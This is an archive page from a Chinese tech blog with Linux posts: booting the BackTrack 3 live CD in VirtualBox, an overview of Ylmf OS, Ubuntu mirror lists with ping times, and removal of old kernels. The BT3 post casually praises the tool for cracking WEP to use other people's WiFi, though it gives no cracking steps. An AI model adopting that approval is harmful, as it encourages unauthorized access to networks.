标签为 "Linux/Unix" 的存档

Sun VirtualBox无法以KDE启动BT3 Live CD解决办法

        BT3是啥?它就是能破解WIFI WEP密码的神物,蹭网必备装备。

       BT3本身可以以Live CD方式启动免安装,如此在虚拟机中应该也是非常顺利的;而秋天在VirtualBox 最新版3.1.6下无法以KDE图形环境启动BT3,前面的命令行状态信息加载完毕之后出现鼠标但就是进不到GUI界面下。反复试了好几次均告失败,最后在一个国外童鞋的Google docs上找到了解决办法,经秋天测试有效贴出分享。

       在启动菜单上选择文本模式(BT3 Text mode Frame Buffer)。

选择启动菜单


阅读更多…

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/pc-tech/797

山寨XP面世–雨林木风Ylmf OS

      写在前面:秋天如约于今天回来了,这个圣诞节过的很有纪念意义,其间秋天还客串了一回圣诞老人,在学校跟我的Helen还有一群孩子们一起过了个气氛活跃的平安夜。此情此景终身难忘。同时也希望各位兄弟的圣诞也都过的缤纷尽兴。
      新图片上架,欢迎各位童鞋围观。

======================我是华丽的分割线========================
      在M$的严厉打击下,国内几家大的OS封装网站全都关闭或者转型。而掉转船头非常及时的雨林木风这一次决心把中国的山寨特色发扬光大,推出了自己仿XP的OS–Ylmf OS。

      雨林木风官方团队在平安夜发布了“Ylmf OS”开源操作系统,引人关注的是,其界面与Windows XP非常类似。其官方介绍称:Ylmf OS不仅系统界面默认为精仿的XP主题,系统还集成OpenOffice办公套装、浏 览器Firefox、QQ即时通讯、Linux下的在线电影平台等大量能满足国内用户日常使用的必备软件,用户在Windows平台下的基本应用都可以在 这个操作系统上良好运行,同样具有很好的用户体验。

      图形界面运行最低需求:
      主频800MHz的微处理器、512MB内存,至少5G硬盘未分区空闲空间 只要能运行XP的机器就能更好的运行Ylmf OS 它比windows的运行要求要低

      系统增强:
      1. 系统界面改为精仿的Windows 主题
      2. 集成 Wine,并修正了 Wine 中显示乱码的问题.Wine是一个Windows的应用程序模拟平台,它能良好运行许多Windows 下的经典程序
      3. 集成 UNRAR 在系统对常见压缩软件包的解压支持下增加互联网应用广泛的RAR文档,只需右击压缩文件选择解压即可
      4. 集成 CompizConfig 特效设置管理器,在LINUX下,你也能轻松体验极其绚丽的特效。
      5. 集成 Chmsee 小工具,可以直接查看 CHM 帮助文档或者电子书
      6. 集成 人性选项”在终端中打开”,方便终端的调用,对 Linux 用户来说,终端就和Windows下使用资源管理器一样普遍
      7. 集成  Brasero  在linux下你也能创建刻录一张自己心仪的光盘

      多媒体组件::
      1. 强大的 SMPlayer 视频播放器,SMPlayer 是非常好用的 MPlayer 前端界面,类似Windows下的暴风一样通吃所有多媒体文件
      2. 音频播放器采用 Rhythmbox,界面简单实用
      3. 集成 Mid3iconv,方便解决解决 Rhythmbox 播放器 Mp3 tag 乱码,
      只需转到你的 MP3 目录,执行以全命令进行转换:mid3iconv -e GBK *.mp3。
      如果需要包含子目录,只需把命令改写为 mid3iconv -e GBK */*.mp3
      最后,重新导入一次Rhythmbox就OK了
      4. Gecko Mediaplayer 播放器 专门播放网页音视频  
  

      互联网应用:
      1.FireFox 上网首选火狐浏览器增强:
      (1) 安装 FlashGot 插件并关联 D4X 下载软件,方便用户下载软件时后对文件实现便利管理 (2) 安装 FlashAX 插件,网页动画和flash浏览正常,并解决官方网页乱码问题
      (3) 增强其在线听歌功能, 对Windows media player 协议的网页音乐播放也实现兼容
      (4) 汇入常用的书签,方便用户上网冲浪
      (5) 加速 Firefox 的 Dns 解析速度,加速网页浏览
      (6) 加入支付宝插件,方便上网购物
      (7) 加入 搜狗云输入法插件,启动火狐自动加载
      2. 集成 aMule,方便电驴下载.aMule是一个开源免费的P2P文件共享软件,类似于eMule。基于xMule和lMule。可应用eDonkey网络协议,也支持KAD网络
      3. 集成 Pidgin,Pidgin(前称Gaim)是一个跨平台的即时通信客户端,这款软件支持多个现时常用的即时通信协议,例如QQ与MSN,让用户可以用同一个软件登录不同的即时通信服务
      4. 集成 FileZilla FTP 客户端 FTP管理上的小软件
      5. 集成 Claws mail 邮件客户端
      6. 集成 Downloader For X ,Downloader For X 是一个功能强大的文件下载工具,他支持 HTTP 与 FTP 协定,并且具有良好的用户介面。重要的是他还提供了将文件以多线程的方式分解下载
      7. 集成 Dr.com 的 GUI 宽带登录用户认证程序客户端

      办公及其它:  
      1. OpenOffice 办公套装(包含帮助文件) 对常见文档能够支持和编辑 胜任所有文字编辑工作
      2.  PDF 阅读器 这次不用担心电子操作文档没法打开了吧
      3. 去掉了烦人的进入桌面的软件更新提示,避免新手不知所云
      4 系统桌面加上了常用软件链接(快捷方式),方便用户直接在桌面打开常用软件
      5. 记住 Windows 的分区挂载授权,不用每次进系统访问 Windows 分区都需输入管理密码
      6. 系统默认时区设置为中国,不会出现官方原版修改系统时间的问题
      7. 采用自动应答,简化安装过程,省时省力
      8. 其他细节改进恕不一一列出,请大家下载安装Ylmf OS 后感受体验

      上图。

雨林木风OS光盘启动界面


系统光盘启动界面


雨林木风OS Live CD方式启动


live CD启动


雨林木风OS安装过程中


安装中


雨林木风OS在线视频播放


在线视频播放


雨林木风OS桌面


桌面


雨林木风OS桌面特效1


桌面特效1


雨林木风OS桌面特效2


桌面特效2

实际上从这些截图中肯定有人已经能猜出它是基于何系统修改的。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/it-web-news/21

大量Ubuntu9.10更新源整理及测试速度

      Ubuntu 9.10 大量更新源整理及测试速度。
      前几天秋天博客侧边栏悬挂了一个Ubuntu9.10的倒计时小插件,现在Ubuntu 9.10已经正式发布,下载地址不再敖述。用过Ubuntu的用户都知道,下载安装完成第一件事就是修改自己的Ubuntu更新源,并联机更新。这里秋天给大家收集了一些大陆速度较快的Ubuntu 9.10更新源,并附上Ping速度测试。

Ubuntu 9.10

      注:Ping速度测试取4次数据包反馈延时平均值;
      测试点为江苏电信4M公司宽带;
      测试速度仅供参考,实际速度根据各地宽带提供商及带宽而定。

      老规矩,修改源之前的工作:
      替换源之前,先备份默认源列表

      sudo cp sources.list sources.list.backup

      再编辑源列表

      sudo gedit /etc/apt/sources.list

      Ubuntu 9.10更新源整理列表如下:
      台湾Ubuntu 9.10更新源
      Ping平均时长:46ms

复制内容到剪贴板程序代码程序代码
deb http://tw.archive.ubuntu.com/ubuntu/ karmic main universe restricted multiverse
deb http://tw.archive.ubuntu.com/ubuntu/ karmic-updates universe main multiverse restricted
deb http://tw.archive.ubuntu.com/ubuntu/ karmic-proposed universe main multiverse restricted
deb http://tw.archive.ubuntu.com/ubuntu/ karmic-security universe main multiverse restricted
deb http://tw.archive.ubuntu.com/ubuntu/ karmic-backports main multiverse restricted universe
deb-src http://tw.archive.ubuntu.com/ubuntu/ karmic main universe restricted multiverse
deb-src http://tw.archive.ubuntu.com/ubuntu/ karmic-security universe main multiverse restricted
deb-src http://tw.archive.ubuntu.com/ubuntu/ karmic-updates universe main multiverse restricted
deb-src http://tw.archive.ubuntu.com/ubuntu/ karmic-proposed universe main multiverse restricted
deb-src http://tw.archive.ubuntu.com/ubuntu/ karmic-backports universe main multiverse restricted

      传说中的“骨头源”(SRT源)
      骨头源为Ubuntu论坛成员bones7456(人称骨头兄)亲自搭建并维护的Ubuntu更新源,这个Ubuntu全新源位于浙江杭州百兆共享宽带的电信机房,保证源的及时同步和完整性是该源的重要特色。该源的同步频率是间隔两小时模式
      Ping平均时长:438ms

复制内容到剪贴板程序代码程序代码
deb http://ubuntu.srt.cn/ubuntu/ karmic main restricted universe multiverse
deb http://ubuntu.srt.cn/ubuntu/ karmic-security main restricted universe multiverse
deb http://ubuntu.srt.cn/ubuntu/ karmic-updates main restricted universe multiverse
deb http://ubuntu.srt.cn/ubuntu/ karmic-proposed main restricted universe multiverse
deb http://ubuntu.srt.cn/ubuntu/ karmic-backports main restricted universe multiverse
deb-src http://ubuntu.srt.cn/ubuntu/ karmic main restricted universe multiverse
deb-src http://ubuntu.srt.cn/ubuntu/ karmic-security main restricted universe multiverse
deb-src http://ubuntu.srt.cn/ubuntu/ karmic-updates main restricted universe multiverse
deb-src http://ubuntu.srt.cn/ubuntu/ karmic-proposed main restricted universe multiverse
deb-src http://ubuntu.srt.cn/ubuntu/ karmic-backports main restricted universe multiverse
deb http://ubuntu.srt.cn/ubuntu/ubuntu-cn/ karmic-backports main restricted universe multiverse
deb-src http://ubuntu.srt.cn/ubuntu/ubuntu-cn/ karmic main restricted universe multiverse

      搜狐Ubuntu 9.10更新源(速度很快,稍微不完整)
      Ping平均时长:223ms

复制内容到剪贴板程序代码程序代码

deb http://mirrors.sohu.com/ubuntu/ karmic main restricted
deb-src http://mirrors.sohu.com/ubuntu/ karmic main restricted
deb http://mirrors.sohu.com/ubuntu/ karmic-updates main restricted
deb-src http://mirrors.sohu.com/ubuntu/ karmic-updates main restricted
deb http://mirrors.sohu.com/ubuntu/ karmic universe
deb-src http://mirrors.sohu.com/ubuntu/ karmic universe
deb http://mirrors.sohu.com/ubuntu/ karmic-updates universe
deb-src http://mirrors.sohu.com/ubuntu/ karmic-updates universe
deb http://mirrors.sohu.com/ubuntu/ karmic multiverse
deb-src http://mirrors.sohu.com/ubuntu/ karmic multiverse
deb http://mirrors.sohu.com/ubuntu/ karmic-updates multiverse
deb-src http://mirrors.sohu.com/ubuntu/ karmic-updates multiverse

      网易163 Ubuntu 9.10更新源
      Ping平均时长:9ms

复制内容到剪贴板程序代码程序代码
deb http://mirrors.163.com/ubuntu/ karmic main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ karmic-security main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ karmic-updates main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ karmic-proposed main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ karmic-backports main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ karmic main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ karmic-security main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ karmic-updates main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ karmic-proposed main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ karmic-backports main restricted universe multiverse

      北京交通大学Ubuntu 9.10更新源
      Ping平均时长:4次全部超时(服务器禁ping?)

复制内容到剪贴板程序代码程序代码

deb http://mirror.bjtu.edu.cn/ubuntu/ karmic main multiverse restricted universe
deb http://mirror.bjtu.edu.cn/ubuntu/ karmic-backports main multiverse restricted universe
deb http://mirror.bjtu.edu.cn/ubuntu/ karmic-proposed main multiverse restricted universe
deb http://mirror.bjtu.edu.cn/ubuntu/ karmic-security main multiverse restricted universe
deb http://mirror.bjtu.edu.cn/ubuntu/ karmic-updates main multiverse restricted universe
deb-src http://mirror.bjtu.edu.cn/ubuntu/ karmic main multiverse restricted universe
deb-src http://mirror.bjtu.edu.cn/ubuntu/ karmic-backports main multiverse restricted universe
deb-src http://mirror.bjtu.edu.cn/ubuntu/ karmic-proposed main multiverse restricted universe
deb-src http://mirror.bjtu.edu.cn/ubuntu/ karmic-security main multiverse restricted universe
deb-src http://mirror.bjtu.edu.cn/ubuntu/ karmic-updates main multiverse restricted universe

      马来西亚Ubuntu 9.10更新源
      Ping平均时长:74ms

复制内容到剪贴板程序代码程序代码
deb http://archive.mmu.edu.my/ubuntu/ karmic main restricted universe multiverse
deb http://archive.mmu.edu.my/ubuntu/ karmic-security main restricted universe multiverse
deb http://archive.mmu.edu.my/ubuntu/ karmic-updates main restricted universe multiverse
deb http://archive.mmu.edu.my/ubuntu/ karmic-proposed main restricted universe multiverse
deb http://archive.mmu.edu.my/ubuntu/ karmic-backports main restricted universe multiverse
deb-src http://archive.mmu.edu.my/ubuntu/ karmic main restricted universe multiverse
deb-src http://archive.mmu.edu.my/ubuntu/ karmic-security main restricted universe multiverse
deb-src http://archive.mmu.edu.my/ubuntu/ karmic-updates main restricted universe multiverse
deb-src http://archive.mmu.edu.my/ubuntu/ karmic-proposed main restricted universe multiverse
deb-src http://archive.mmu.edu.my/ubuntu/ karmic-backports main restricted universe multiverse

      江苏双线Ubuntu 9.10更新源
      Ping平均时长:9ms

复制内
容到剪贴板
程序代码程序代码
deb http://mirror.lupaworld.com/ubuntu karmic main restricted universe multiverse
deb http://mirror.lupaworld.com/ubuntu karmic-security main restricted universe multiverse
deb http://mirror.lupaworld.com/ubuntu karmic-updates main restricted universe multiverse
deb http://mirror.lupaworld.com/ubuntu karmic-backports main restricted universe multiverse
deb http://mirror.lupaworld.com/ubuntu/ubuntu-cn karmic main restricted universe multiverse
deb http://mirror.lupaworld.com/ubuntu/ karmic-proposed main restricted universe multiverse
deb-src http://mirror.lupaworld.com/ubuntu karmic main restricted universe multiverse
deb-src http://mirror.lupaworld.com/ubuntu karmic-security main restricted universe multiverse
deb-src http://mirror.lupaworld.com/ubuntu karmic-updates main restricted universe multiverse
deb-src http://mirror.lupaworld.com/ubuntu karmic-backports main restricted universe multiverse
deb-src http://mirror.lupaworld.com/ubuntu/ karmic-proposed main restricted universe multiverse

      日本Ubuntu 9.10更新源
      Ping平均时长:299ms

复制内容到剪贴板程序代码程序代码

deb http://jp.archive.ubuntu.com/ubuntu/ karmic main universe restricted multiverse
deb http://security.ubuntu.com/ubuntu/ karmic-security universe main multiverse restricted
deb http://jp.archive.ubuntu.com/ubuntu/ karmic-updates universe main multiverse restricted
deb http://jp.archive.ubuntu.com/ubuntu/ karmic-proposed universe main multiverse restricted
deb-src http://jp.archive.ubuntu.com/ubuntu/ karmic main universe restricted multiverse
deb-src http://jp.archive.ubuntu.com/ubuntu/ karmic-proposed universe main multiverse restricted
deb-src http://jp.archive.ubuntu.com/ubuntu/ karmic-security universe main multiverse restricted
deb-src http://jp.archive.ubuntu.com/ubuntu/ karmic-updates universe main multiverse restricted

      先前版本的Ubuntu更新源及秋天通过ShipIt申请到的3张Ubuntu光盘在这里:
      Ubuntu9.04更新源整理
      ubuntu8.10 全部更新源
      秀下我的Ubuntu光盘

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/pc-tech/59

ubuntu删除旧内核方法收集

      ubuntu删除旧内核方法收集
      我的ubuntu8.10从装上去升级到现在从来没有清理过旧内核,到现在Grub启动项已经快满屏了,大多都是不同的Linux内核启动项。到ubuntu官网上收集整理了一下删除旧内核的几种办法,与大家共同分享。因为删除旧内核可能会误删当前使用内核进而影响系统运行,故特意附加操作风险系数。
      1,安装ubuntu tweak,用它自带功能来卸载旧内核。操作风险系数:低
      2,在新立德里中,搜索linux-image,会看到各个版本的内核。保留最上头的那个内核,这个就是你才下载的最新的linux内核, 其他的(也就是旧内核)勾选后删除。操作风险系数:低
      3,在终端中运行以下命令:
      uname -a  #使用这个命令可以查看当前系统使用的内核。
      dpkg –get-selections|grep linux   #列出当前内核,带image的则是已经安装的内核。可以用类似以下命令卸载:
      sudo apt-get remove linux-image-2.6.24-11-generic #其中 linux-image-2.6.24-11-generic 为版本号,输全 。
      操作风险系数:低
      4,在终端中运行以下命令:
      sudo aptitude purge ~ilinux-image-.*\(\!`uname -r`\)
      操作风险系数:较低(因为有人出现过用此命令把最新内核也删除的情况)

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/pc-tech/158

Ubuntu9.04更新源整理

      Ubuntu9.04于5月放出正式版,推荐几个国内使用的更新源:
      老规矩,先编辑源列表

      sudo gedit /etc/apt/sources.list

      替换源之前,先备份一下

      sudo cp sources.list sources.list.backup

      Ubuntu官方论坛推荐的几个源:
deb http://debian.ustc.edu.cn/ubuntu/ jaunty main restricted universe multiverse
deb http://debian.ustc.edu.cn/ubuntu/ jaunty-backports restricted universe multiverse
deb http://debian.ustc.edu.cn/ubuntu/ jaunty-proposed main restricted universe multiverse
deb http://debian.ustc.edu.cn/ubuntu/ jaunty-security main restricted universe multiverse
deb http://debian.ustc.edu.cn/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src http://debian.ustc.edu.cn/ubuntu/ jaunty main restricted universe multiverse
deb-src http://debian.ustc.edu.cn/ubuntu/ jaunty-backports main restricted universe multiverse
deb-src http://debian.ustc.edu.cn/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src http://debian.ustc.edu.cn/ubuntu/ jaunty-security main restricted universe multiverse
deb-src http://debian.ustc.edu.cn/ubuntu/ jaunty-updates main restricted universe multiverse
      #传说中的北京交大 速度 2M/s
deb http://mirror.bjtu.edu.cn/ubuntu/ jaunty main restricted universe multiverse
deb http://mirror.bjtu.edu.cn/ubuntu/ jaunty-backports restricted universe multiverse
deb http://mirror.bjtu.edu.cn/ubuntu/ jaunty-proposed main restricted universe multiverse
deb http://mirror.bjtu.edu.cn/ubuntu/ jaunty-security main restricted universe multiverse
deb http://mirror.bjtu.edu.cn/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src http://mirror.bjtu.edu.cn/ubuntu/ jaunty main restricted universe multiverse
deb-src http://mirror.bjtu.edu.cn/ubuntu/ jaunty-backports main restricted universe multiverse
deb-src http://mirror.bjtu.edu.cn/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src http://mirror.bjtu.edu.cn/ubuntu/ jaunty-security main restricted universe multiverse
deb-src http://mirror.bjtu.edu.cn/ubuntu/ jaunty-updates main restricted universe multiverse
      #传说中的上海交通大学,最热门的源之一
deb http://ftp.sjtu.edu.cn/ubuntu/ jaunty main multiverse restricted universe
deb http://ftp.sjtu.edu.cn/ubuntu/ jaunty-backports main multiverse restricted universe
deb http://ftp.sjtu.edu.cn/ubuntu/ jaunty-proposed main multiverse restricted universe
deb http://ftp.sjtu.edu.cn/ubuntu/ jaunty-security main multiverse restricted universe
deb http://ftp.sjtu.edu.cn/ubuntu/ jaunty-updates main multiverse restricted universe
deb http://ftp.sjtu.edu.cn/ubuntu-cn/ jaunty main multiverse restricted universe
deb-src http://ftp.sjtu.edu.cn/ubuntu/ jaunty main multiverse restricted universe
deb-src http://ftp.sjtu.edu.cn/ubuntu/ jaunty-backports main multiverse restricted universe
deb-src http://ftp.sjtu.edu.cn/ubuntu/ jaunty-proposed main multiverse restricted universe
deb-src http://ftp.sjtu.edu.cn/ubuntu/ jaunty-security main multiverse restricted universe
deb-src http://ftp.sjtu.edu.cn/ubuntu/ jaunty-updates main multiverse restricted universe
      #传说中的清华大学ubuntu源 300k/s
deb ftp://ftp3.tsinghua.edu.cn/mirror/ubuntu/ubuntu/ jaunty main restricted universe multiverse
deb ftp://ftp3.tsinghua.edu.cn/mirror/ubuntu/ubuntu/ jaunty-backports restricted universe multiverse
deb ftp://ftp3.tsinghua.edu.cn/mirror/ubuntu/ubuntu/ jaunty-proposed main restricted universe multiverse
deb ftp://ftp3.tsinghua.edu.cn/mirror/ubuntu/ubuntu/ jaunty-security main restricted universe multiverse
deb ftp://ftp3.tsinghua.edu.cn/mirror/ubuntu/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src ftp://ftp3.tsinghua.edu.cn/mirror/ubuntu/ubuntu/ jaunty main restricted universe multiverse
deb-src ftp://ftp3.tsinghua.edu.cn/mirror/ubuntu/ubuntu/ jaunty-backports main restricted universe multiverse
deb-src ftp://ftp3.tsinghua.edu.cn/mirror/ubuntu/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src ftp://ftp3.tsinghua.edu.cn/mirror/ubuntu/ubuntu/ jaunty-security main restricted universe multiverse
deb-src ftp://ftp3.tsinghua.edu.cn/mir
ror/ubuntu/ubuntu/
jaunty-updates main restricted universe multiverse
      #传说中的兰州大学 260k/s
deb ftp://mirror.lzu.edu.cn/ubuntu/ jaunty main restricted universe multiverse
deb ftp://mirror.lzu.edu.cn/ubuntu/ jaunty-backports restricted universe multiverse
deb ftp://mirror.lzu.edu.cn/ubuntu/ jaunty-proposed main restricted universe multiverse
deb ftp://mirror.lzu.edu.cn/ubuntu/ jaunty-security main restricted universe multiverse
deb ftp://mirror.lzu.edu.cn/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src ftp://mirror.lzu.edu.cn/ubuntu/ jaunty main restricted universe multiverse
deb-src ftp://mirror.lzu.edu.cn/ubuntu/ jaunty-backports main restricted universe multiverse
deb-src ftp://mirror.lzu.edu.cn/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src ftp://mirror.lzu.edu.cn/ubuntu/ jaunty-security main restricted universe multiverse
deb-src ftp://mirror.lzu.edu.cn/ubuntu/ jaunty-updates main restricted universe multiverse
      #传说中的台湾大学 中国电信adsl 150k/s
deb http://ubuntu.csie.ntu.edu.tw/ubuntu/ jaunty main restricted universe multiverse
deb http://ubuntu.csie.ntu.edu.tw/ubuntu/ jaunty-backports restricted universe multiverse
deb http://ubuntu.csie.ntu.edu.tw/ubuntu/ jaunty-proposed main restricted universe multiverse
deb http://ubuntu.csie.ntu.edu.tw/ubuntu/ jaunty-security main restricted universe multiverse
deb http://ubuntu.csie.ntu.edu.tw/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src http://ubuntu.csie.ntu.edu.tw/ubuntu/ jaunty main restricted universe multiverse
deb-src http://ubuntu.csie.ntu.edu.tw/ubuntu/ jaunty-backports main restricted universe multiverse
deb-src http://ubuntu.csie.ntu.edu.tw/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src http://ubuntu.csie.ntu.edu.tw/ubuntu/ jaunty-security main restricted universe multiverse
deb-src http://ubuntu.csie.ntu.edu.tw/ubuntu/ jaunty-updates main restricted universe multiverse
      #传说中的电子科大
deb http://ubuntu.uestc.edu.cn/ubuntu jaunty main restricted universe multiverse
deb http://ubuntu.uestc.edu.cn/ubuntu jaunty-backports main restricted universe multiverse
deb http://ubuntu.uestc.edu.cn/ubuntu jaunty-proposed main restricted universe multiverse
deb http://ubuntu.uestc.edu.cn/ubuntu jaunty-security main restricted universe multiverse
deb http://ubuntu.uestc.edu.cn/ubuntu jaunty-updates main restricted universe multiverse
deb-src http://ubuntu.uestc.edu.cn/ubuntu jaunty main restricted universe multiverse
deb-src http://ubuntu.uestc.edu.cn/ubuntu jaunty-backports main restricted universe multiverse
deb-src http://ubuntu.uestc.edu.cn/ubuntu jaunty-proposed main restricted universe multiverse
deb-src http://ubuntu.uestc.edu.cn/ubuntu jaunty-security main restricted universe multiverse
deb-src http://ubuntu.uestc.edu.cn/ubuntu jaunty-updates main restricted universe multiverse
deb http://ubuntu.uestc.edu.cn/ubuntu-cn jaunty main restricted universe multiverse
deb http://ubuntu.uestc.edu.cn/ubuntustudio jaunty main
      #传说中的清华,,但不是清华大学的官方域名
deb http://mirror9.net9.org/ubuntu/ jaunty main multiverse restricted universe
deb http://mirror9.net9.org/ubuntu/ jaunty-backports main multiverse restricted universe
deb http://mirror9.net9.org/ubuntu/ jaunty-proposed main multiverse restricted universe
deb http://mirror9.net9.org/ubuntu/ jaunty-security main multiverse restricted universe
deb http://mirror9.net9.org/ubuntu/ jaunty-updates main multiverse restricted universe
deb-src http://mirror9.net9.org/ubuntu/ jaunty main multiverse restricted universe
deb-src http://mirror9.net9.org/ubuntu/ jaunty-backports main multiverse restricted universe
deb-src http://mirror9.net9.org/ubuntu/ jaunty-proposed main multiverse restricted universe
deb-src http://mirror9.net9.org/ubuntu/ jaunty-security main multiverse restricted universe
deb-src http://mirror9.net9.org/ubuntu/ jaunty-updates main multiverse restricted universe
deb http://mirror9.net9.org/ubuntu-cn/ jaunty main multiverse restricted universe
      #传说中的电子科大,但不是uestc的官方域名
deb http://ubuntu
.dormforce.net/ubuntu
jaunty main restricted universe multiverse
deb http://ubuntu.dormforce.net/ubuntu jaunty-backports main restricted universe multiverse
deb http://ubuntu.dormforce.net/ubuntu jaunty-proposed main restricted universe multiverse
deb http://ubuntu.dormforce.net/ubuntu jaunty-security main restricted universe multiverse
deb http://ubuntu.dormforce.net/ubuntu jaunty-updates main restricted universe multiverse
deb-src http://ubuntu.dormforce.net/ubuntu jaunty main restricted universe multiverse
deb-src http://ubuntu.dormforce.net/ubuntu jaunty-backports main restricted universe multiverse
deb-src http://ubuntu.dormforce.net/ubuntu jaunty-proposed main restricted universe multiverse
deb-src http://ubuntu.dormforce.net/ubuntu jaunty-security main restricted universe multiverse
deb-src http://ubuntu.dormforce.net/ubuntu jaunty-updates main restricted universe multiverse
      #传说中的东北大学更新服务器:
deb ftp://ftp.neu.edu.cn/mirror/archive.ubuntu.com/ubuntu/ jaunty main multiverse restricted universe
deb ftp://ftp.neu.edu.cn/mirror/archive.ubuntu.com/ubuntu/ jaunty-backports main multiverse restricted universe
deb ftp://ftp.neu.edu.cn/mirror/archive.ubuntu.com/ubuntu/ jaunty-proposed main multiverse restricted universe
deb ftp://ftp.neu.edu.cn/mirror/archive.ubuntu.com/ubuntu/ jaunty-security main multiverse restricted universe
deb ftp://ftp.neu.edu.cn/mirror/archive.ubuntu.com/ubuntu/ jaunty-updates main multiverse restricted universe
deb-src ftp://ftp.neu.edu.cn/mirror/archive.ubuntu.com/ubuntu/ jaunty main multiverse restricted universe
deb-src ftp://ftp.neu.edu.cn/mirror/archive.ubuntu.com/ubuntu/ jaunty-backports main multiverse restricted universe
deb-src ftp://ftp.neu.edu.cn/mirror/archive.ubuntu.com/ubuntu/ jaunty-proposed main multiverse restricted universe
deb-src ftp://ftp.neu.edu.cn/mirror/archive.ubuntu.com/ubuntu/ jaunty-security main multiverse restricted universe
deb-src ftp://ftp.neu.edu.cn/mirror/archive.ubuntu.com/ubuntu/ jaunty-updates main multiverse restricted universe
      #传说中的厦门大学
deb ftp://ubuntu.realss.cn/ubuntu/ jaunty main restricted universe multiverse
deb ftp://ubuntu.realss.cn/ubuntu/ jaunty-backports restricted universe multiverse
deb ftp://ubuntu.realss.cn/ubuntu/ jaunty-proposed main restricted universe multiverse
deb ftp://ubuntu.realss.cn/ubuntu/ jaunty-security main restricted universe multiverse
deb ftp://ubuntu.realss.cn/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src ftp://ubuntu.realss.cn/ubuntu/ jaunty main restricted universe multiverse
deb-src ftp://ubuntu.realss.cn/ubuntu/ jaunty-backports main restricted universe multiverse
deb-src ftp://ubuntu.realss.cn/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src ftp://ubuntu.realss.cn/ubuntu/ jaunty-security main restricted universe multiverse
deb-src ftp://ubuntu.realss.cn/ubuntu/ jaunty-updates main restricted universe multiverse
      #传说中的西南财经大学
deb http://ftp.swufe.edu.cn/mirror/ubuntu/ jaunty main restricted universe multiverse
deb http://ftp.swufe.edu.cn/mirror/ubuntu/ jaunty-backports restricted universe multiverse
deb http://ftp.swufe.edu.cn/mirror/ubuntu/ jaunty-proposed main restricted universe multiverse
deb http://ftp.swufe.edu.cn/mirror/ubuntu/ jaunty-security main restricted universe multiverse
deb http://ftp.swufe.edu.cn/mirror/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src http://ftp.swufe.edu.cn/mirror/ubuntu/ jaunty main restricted universe multiverse
deb-src http://ftp.swufe.edu.cn/mirror/ubuntu/ jaunty-backports main restricted universe multiverse
deb-src http://ftp.swufe.edu.cn/mirror/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src http://ftp.swufe.edu.cn/mirror/ubuntu/ jaunty-security main restricted universe multiverse
deb-src http://ftp.swufe.edu.cn/mirror/ubuntu/ jaunty-updates main restricted universe multiverse

      速度都不理想的话这里还有一批:
      中科大ubuntu 更新服务器(安徽省合肥市,推荐教育网,网通用户使用):

deb http://debian.ustc.edu.cn/ubuntu/ jaunty main restricted universe multiverse
deb http
://debian.ustc.edu.cn/ubuntu/
jaunty-security main restricted universe multiverse
deb http://debian.ustc.edu.cn/ubuntu/ jaunty-updates main restricted universe multiverse
deb http://debian.ustc.edu.cn/ubuntu/ jaunty-proposed main restricted universe multiverse
deb http://debian.ustc.edu.cn/ubuntu/ jaunty-backports main restricted universe multiverse
deb-src http://debian.ustc.edu.cn/ubuntu/ jaunty main restricted universe multiverse
deb-src http://debian.ustc.edu.cn/ubuntu/ jaunty-security main restricted universe multiverse
deb-src http://debian.ustc.edu.cn/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src http://debian.ustc.edu.cn/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src http://debian.ustc.edu.cn/ubuntu/ jaunty-backports main restricted universe multiverse

      上海交通大学FTP ubuntu 更新服务器(推荐教育网用户使用):

deb ftp://ftp.sjtu.edu.cn/ubuntu/ jaunty main restricted universe multiverse
deb ftp://ftp.sjtu.edu.cn/ubuntu/ jaunty-security main restricted universe multiverse
deb ftp://ftp.sjtu.edu.cn/ubuntu/ jaunty-updates main restricted universe multiverse
deb ftp://ftp.sjtu.edu.cn/ubuntu/ jaunty-proposed main restricted universe multiverse
deb ftp://ftp.sjtu.edu.cn/ubuntu/ jaunty-backports main restricted universe multiverse
deb-src ftp://ftp.sjtu.edu.cn/ubuntu/ jaunty main restricted universe multiverse
deb-src ftp://ftp.sjtu.edu.cn/ubuntu/ jaunty-security main restricted universe multiverse
deb-src ftp://ftp.sjtu.edu.cn/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src ftp://ftp.sjtu.edu.cn/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src ftp://ftp.sjtu.edu.cn/ubuntu/ jaunty-backports main restricted universe multiverse

      新加坡国立大学理学院 ubuntu 更新源(所有用户通用):

deb http://ftp.science.nus.edu.sg/ubuntu/ jaunty main restricted universe multiverse
deb http://ftp.science.nus.edu.sg/ubuntu/ jaunty-security main restricted universe multiverse
deb http://ftp.science.nus.edu.sg/ubuntu/ jaunty-updates main restricted universe multiverse
deb http://ftp.science.nus.edu.sg/ubuntu/ jaunty-proposed main restricted universe multiverse
deb http://ftp.science.nus.edu.sg/ubuntu/ jaunty-backports main restricted universe multiverse
deb-src http://ftp.science.nus.edu.sg/ubuntu/ jaunty main restricted universe multiverse
